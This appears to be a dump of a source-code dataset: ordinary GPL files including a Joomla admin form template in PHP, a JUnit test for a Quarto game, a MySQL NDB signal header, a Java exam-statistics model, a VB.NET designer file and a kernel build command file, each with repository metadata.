yxl/emscripten-calligra-mobile
|
krita/plugins/paintops/chalk/kis_chalkop_option.cpp
|
C++
|
gpl-2.0
| 2,958
|
<?php
// No direct access to this file
// Sem acesso direto ao arquivo
defined('_JEXEC') or die('Restricted Access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('behavior.modal');
?>
<script>
function jSelectArticle_jform_request_id(id, title, catid, object) {
document.id("jform_request_id_id").value = id;
document.id("jform_request_id_name").value = title;
SqueezeBox.close();
}
function keepAlive() { var myAjax = new Request({method: "get", url: "index.php"}).send();} window.addEvent("domready", function(){ keepAlive.periodical(840000); });
window.addEvent('domready', function() {
SqueezeBox.initialize({});
SqueezeBox.assign($$('a.modal-button'), {
parse: 'rel'
});
});
function jInsertFieldValue(value, id) {
var old_id = document.id(id).value;
if (old_id != id) {
var elem = document.id(id)
elem.value = value;
elem.fireEvent("change");
}
}
</script>
<form method="post" name="adminForm" id="item-form" class="form-validate">
<div class="width-60 fltlft">
<fieldset class="adminform">
<legend><?php "Atualizar Cadastro {$this->item->name}"; ?></legend>
<ul>
<li>
<label title="" class="hasTip" for="jform_name_disable" id="jform_name_disable-lbl">Nome<span class="star"> *</span></label>
<input type="text" size="45" class="inputbox required" disabled="disabled" value="<? echo $this->item->name;?>" id="jform_name_disable" name="jform_name_disable">
</li>
</ul>
<ul>
<li>
<label title="" class="hasTip" for="jform_link_loja_disable" id="jform_link_loja_disable-lbl">Link loja<span class="star"> *</span></label>
<input type="text" size="45" class="inputbox required" disabled="disabled" value="<? echo $this->item->link_loja;?>" id="jform_link_loja_disable" name="jform_link_loja_disable">
</li>
</ul>
<ul>
<li>
<label title="" class="hasTip" for="jform_id_loja_disable" id="jform_id_loja_disable-lbl">ID loja<span class="star"> *</span></label>
<input type="text" size="45" class="inputbox required" disabled="disabled" value="<? echo $this->item->id_loja;?>" id="jform_id_loja_disable" name="jform_id_loja_disable">
</li>
</ul>
<ul>
<li>
<label title="" class="hasTip" for="jform_valor" id="jform_valor-lbl">Valor<span class="star"> *</span></label>
<input type="text" size="45" class="inputbox required" disabled="disabled" value="<? echo $this->item->valor;?>" id="jform_valor" name="jform_valor">
</li>
</ul>
<ul class="adminformlist">
<li>
<label title="" class="hasTip required" for="jform_request_id" id="jform_request_id-lbl">Selecione um Artigo<span class="star"> *</span></label>
<div class="fltlft">
<input type="text" class="required" size="35" disabled="disabled" value="<? if($this->item->id_content){echo $this->item->content_title;}else{echo "Selecione um Artigo";} ?>" id="jform_request_id_name">
</div>
<div class="button2-left">
<div class="blank">
<a rel="{handler: 'iframe', size: {x: 800, y: 450}}" href="index.php?option=com_content&view=articles&layout=modal&tmpl=component&function=jSelectArticle_jform_request_id" title="Selecionar ou alterar artigo" class="modal">Selecionar / Alterar</a>
</div>
</div>
<input type="hidden" value="<? if($this->item->id_content){echo $this->item->id_content;} ?>" name="jform_content_id" class="required modal-value" id="jform_request_id_id" aria-required="true" required="required">
</li>
</ul>
<ul>
<li>
<div id="image" style="display: block;">
<label title="" class="hasTip" for="jform_params_imageurl" id="jform_params_imageurl-lbl" aria-invalid="false">Imagem</label>
<div class="fltlft">
<input type="text" size="40" readonly="readonly" value="<?php if($this->item->image){ echo $this->item->image; } ?>" id="jform_params_imageurl" name="jform_image" class="" aria-invalid="false">
</div>
<div class="button2-left">
<div class="blank">
<a rel="{handler: 'iframe', size: {x: 800, y: 500}}" href="index.php?option=com_media&view=images&tmpl=component&asset=com_banners&author=&fieldid=jform_params_imageurl&folder=banners" title="Selecionar" class="modal">
Selecionar</a>
</div>
</div>
<div class="button2-left">
<div class="blank">
<a onclick="document.getElementById('jform_params_imageurl').value=''; document.getElementById('jform_params_imageurl').onchange();" href="#" title="Limpar">
Limpar</a>
</div>
</div>
</li>
</ul>
</fieldset>
</div>
<?php echo $this->loadTemplate('module'); ?>
<input type="hidden" name="id_curso" value="<? echo $this->item->id; ?>" />
<input type="hidden" name="task" value="" />
<?php echo JHtml::_('form.token'); ?>
</form>
|
caiovdp/EStube
|
administrator/components/com_estube/views/curso/tmpl/default.php
|
PHP
|
gpl-2.0
| 4,880
|
package ipsen1.quarto;
import ipsen1.quarto.form.Form;
import ipsen1.quarto.form.Hoofdmenu;
import ipsen1.quarto.form.Instructies;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
public class QuartoApplicationTest {
private QuartoApplication app;
@Before
public void setUp() throws Exception {
app = new QuartoApplication();
}
@Test
public void testSingleton() throws Exception {
assertSame(app, QuartoApplication.currentApplication());
}
@Test
public void testPushingAndPoppingForms() throws Exception {
Form hoofdmenu = new Hoofdmenu(),
instructies = new Instructies();
assertNull(app.currentForm());
assertNull(app.popForm());
app.presentForm(hoofdmenu);
assertSame(hoofdmenu, app.currentForm());
app.presentForm(instructies);
assertSame(instructies, app.currentForm());
app.popForm();
assertSame(hoofdmenu, app.currentForm());
app.popForm();
assertNull(app.currentForm());
assertNull(app.popForm());
}
@Test
public void testCurrentForm() throws Exception {
Form hoofdmenu = new Hoofdmenu(),
instructies = new Instructies();
assertNull(app.currentForm());
app.presentForm(hoofdmenu);
assertSame(hoofdmenu, app.currentForm());
app.presentForm(instructies);
assertSame(instructies, app.currentForm());
}
@After
public void tearDown() throws Exception {
app = null;
}
}
|
y0sh1/ipsen1-quarto
|
src/test/java/ipsen1/quarto/QuartoApplicationTest.java
|
Java
|
gpl-2.0
| 1,604
|
/*
Copyright (c) 2003, 2016, Oracle and/or its affiliates. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef BUILD_INDX_HPP
#define BUILD_INDX_HPP
#include "SignalData.hpp"
#include <NodeBitmask.hpp>
#include <signaldata/DictTabInfo.hpp>
#define JAM_FILE_ID 15
struct BuildIndxReq {
enum RequestType {
MainOp = 1,
SubOp = 2 // actual build of hash index
};
enum RequestFlag {
RF_BUILD_OFFLINE = 1 << 8
};
STATIC_CONST( SignalLength = 11 );
STATIC_CONST( INDEX_COLUMNS = 0 );
STATIC_CONST( KEY_COLUMNS = 1 );
STATIC_CONST( NoOfSections = 2 );
Uint32 clientRef;
Uint32 clientData;
Uint32 transId;
Uint32 transKey;
Uint32 requestInfo;
Uint32 buildId; // Suma subscription id
Uint32 buildKey; // Suma subscription key
Uint32 tableId;
Uint32 indexId;
Uint32 indexType;
Uint32 parallelism;
};
struct BuildIndxConf {
STATIC_CONST( SignalLength = 6 );
Uint32 senderRef;
union { Uint32 clientData, senderData; };
Uint32 transId;
Uint32 tableId;
Uint32 indexId;
Uint32 indexType;
};
struct BuildIndxRef {
enum ErrorCode {
NoError = 0,
Busy = 701,
NotMaster = 702,
BadRequestType = 4247,
InvalidPrimaryTable = 4249,
InvalidIndexType = 4250,
IndexNotUnique = 4251,
AllocationFailure = 4252,
InternalError = 4346,
IndexNotFound = 4243,
DeadlockError = 4351,
UtilBusy = 748
};
STATIC_CONST( SignalLength = 10 );
Uint32 senderRef;
union { Uint32 clientData, senderData; };
Uint32 transId;
Uint32 tableId;
Uint32 indexId;
Uint32 indexType;
Uint32 errorCode;
Uint32 errorLine;
Uint32 errorNodeId;
Uint32 masterNodeId;
};
#undef JAM_FILE_ID
#endif
|
gunnarku/mysql-8.0
|
storage/ndb/include/kernel/signaldata/BuildIndx.hpp
|
C++
|
gpl-2.0
| 2,334
|
package org.worddroid.business.rest.entities;
import java.util.Date;
import java.util.UUID;
/**
* Created by pburzynski on 04/10/2014.
*/
public class ExamStatsModel {
private int correctCount;
private int incorrectCount;
private int wordsCount;
private String section;
private int sectionId;
private Date timestamp;
private UUID examId;
public ExamStatsModel(int correctCount, int incorrectCount, int wordsCount, String section, int sectionId,
Date timestamp, UUID examId) {
super();
this.examId = examId;
this.correctCount = correctCount;
this.incorrectCount = incorrectCount;
this.wordsCount = wordsCount;
this.section = section;
this.timestamp = timestamp;
this.sectionId = sectionId;
}
public UUID getExamId() {
return examId;
}
public void setExamId(UUID examId) {
this.examId = examId;
}
public int getCorrectCount() {
return correctCount;
}
public void setCorrectCount(int correctCount) {
this.correctCount = correctCount;
}
public int getIncorrectCount() {
return incorrectCount;
}
public void setIncorrectCount(int incorrectCount) {
this.incorrectCount = incorrectCount;
}
public int getWordsCount() {
return wordsCount;
}
public void setWordsCount(int wordsCount) {
this.wordsCount = wordsCount;
}
public String getSection() {
return section;
}
public void setSection(String section) {
this.section = section;
}
public Date getTimestamp() {
return timestamp;
}
public void setTimestamp(Date timestamp) {
this.timestamp = timestamp;
}
public int getSectionId() {
return sectionId;
}
public void setSectionId(int sectionId) {
this.sectionId = sectionId;
}
}
|
burzyk/WordDroid.Android
|
src/WordDroid/app/src/main/java/org/worddroid/business/rest/entities/ExamStatsModel.java
|
Java
|
gpl-2.0
| 1,932
|
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.34209
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
' or if you encounter build errors in this file, go to the Project Designer
' (go to Project Properties or double-click the My Project node in
' Solution Explorer), and make changes on the Application tab.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = false
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.ColorScrollBarsWithTextBox.Form1
End Sub
End Class
End Namespace
|
ibsarbca/bca1-programs
|
VB.NET/VB Solved Questions/2014-11/ColorScrollBarsWithTextBox/ColorScrollBarsWithTextBox/My Project/Application.Designer.vb
|
Visual Basic
|
gpl-2.0
| 1,492
|
cmd_ipc/built-in.o := /home/beto/toolchain/bin/arm-eabi-ld -EL -r -o ipc/built-in.o ipc/util.o ipc/msgutil.o ipc/msg.o ipc/sem.o ipc/shm.o ipc/ipcns_notifier.o ipc/syscall.o ipc/ipc_sysctl.o
|
IndieBeto/StockLP
|
ipc/.built-in.o.cmd
|
Batchfile
|
gpl-2.0
| 196
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.